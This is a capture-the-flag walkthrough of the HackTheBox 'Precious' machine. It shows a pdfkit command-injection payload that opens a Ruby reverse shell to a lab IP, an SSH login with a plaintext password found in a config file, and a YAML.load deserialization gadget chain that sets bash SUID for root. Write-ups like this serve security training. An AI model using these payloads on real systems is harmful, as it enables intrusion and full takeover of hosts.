Precious | HackTheBox

Overview

Titleprecious
DifficultyEasy
MachineLinux
Maker

In this easy machine we will exploit a critical RCE vulnerability in a PDF document generation library for ruby to gain initial access on the machine as the ruby user. And from there we will do a lateral movement to another user by using exposed plain text password. After that we will perform privilege escalation to root user by exploiting another vulnerability in a ruby function which is a deserialization RCE in YAML.load() function.

Information Gathering

Initial script and service scan:

 nmap -sC -sV 10.10.11.189 -oA nmap/initial
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.57s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
| http-server-header:
|   nginx/1.18.0
|_  nginx/1.18.0 + Phusion Passenger(R) 6.0.15
|_http-title: Convert Web Page to PDF
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80 - HTTP (Nginx 1.18.0)

First I thought of SSRF but there is no response when we enter a url, and it throws an error Cannot load remote URL!. Url without http or https also throws an error You should provide a valid URL!

But when we append ` character at the end of a url it generates an empty pdf file.

 file k2kl1ovlfap1dqeyt0ndt0bfucqbmw0c.pdf
k2kl1ovlfap1dqeyt0ndt0bfucqbmw0c.pdf: PDF document, version 1.4, 1 pages

 exiftool k2kl1ovlfap1dqeyt0ndt0bfucqbmw0c.pdf
ExifTool Version Number         : 12.40
File Name                       : k2kl1ovlfap1dqeyt0ndt0bfucqbmw0c.pdf
Directory                       : .
File Size                       : 4.5 KiB
File Modification Date/Time     : 2023:01:19 09:11:06+05:30
File Access Date/Time           : 2023:01:19 09:11:06+05:30
File Inode Change Date/Time     : 2023:01:19 09:12:30+05:30
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6
 

After inspecting the pdf file, we can see that it is generated by pdfkit v0.8.6 and this version of pdfkit is vulnerable to command injection We can also see that pdfkit is a package used in generating PDF documents available for ruby.

Exploitation

Command Injection on pdfkit v0.8.6 (CVE-2022-25675)

An application could be vulnerable if it tries to render a URL that contains query string parameters with user input:

PDFKit.new("http://example.com/?name=#{params[:name]}").to_pdf

If the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF:

irb(main):060:0> puts PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").command
wkhtmltopdf --quiet [...] "http://example.com/?name=%20`sleep 5`" -
=> nil

Calling to_pdf on the instance shows that the sleep command is indeed executing:

PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf
# 5 seconds wait...

Of course, if the user can control completely the first argument of the PDFKit constructor, they can also exploit the command injection as long as it starts with “http”:

PDFKit.new("http%20`sleep 5`").to_pdf

So we can add a reverse shell and gain initial access.

# Payload
http://example.com/?name={'%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.10",1234))'`'}

# nc listener
 nc -lnvp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.11.189 46174
whoami
ruby

id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)

Lateral Movement to henry

Local Enumeration

cd ~
ls -alp
total 28
drwxr-xr-x 4 ruby ruby 4096 Jan 19 00:50 ./
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ../
lrwxrwxrwx 1 root root    9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle/
drwxr-xr-x 3 ruby ruby 4096 Jan 19 00:50 .cache/
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile

ls -alp .bundle
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 ./
drwxr-xr-x 4 ruby ruby 4096 Jan 19 00:50 ../
-r-xr-xr-x 1 root ruby   62 Sep 26 05:04 config

cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

After some enumeration in the home directory of user ruby I got the password for user henry.

Lateral Movement vector

Now we can either use SSH to login to the user henry or just use su henry and enter the password. Though SSH will be the best way because we will get a proper bash shell instead of the restricted nc shell.

 ssh henry@10.10.11.189
henry@10.10.11.189s password:
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
henry@precious:~$ whoami
henry
henry@precious:~$ id
uid=1000(henry) gid=1000(henry) groups=1000(henry)
henry@precious:~$

Privilege Escalation

Local Enumeration

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

We can run update_dependencies.rb script as root.

update_dependencies.rb

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

Here we can see that the YAML.load() function is used to load the dependencies.yaml file. Apparently this function is vulnerable to RCE by deserialization.

Privilege Escalation vector

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod u+s /usr/bin/bash
         method_id: :resolve
henry@precious:~$ cd /tmp
henry@precious:/tmp$ mkdir test
henry@precious:/tmp$ cd test
henry@precious:/tmp/test$ nano dependencies.yml
henry@precious:/tmp/test$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
        25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
        21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
        20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
        19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
        18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
        14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
        13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
        12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
        11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
        10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
         9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
         8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
         7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
         6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
         5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
         3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
         2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:/tmp/test$ /usr/bin/bash -p
bash-5.1# whoami
root
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry)
bash-5.1#
updated at 2023-06-03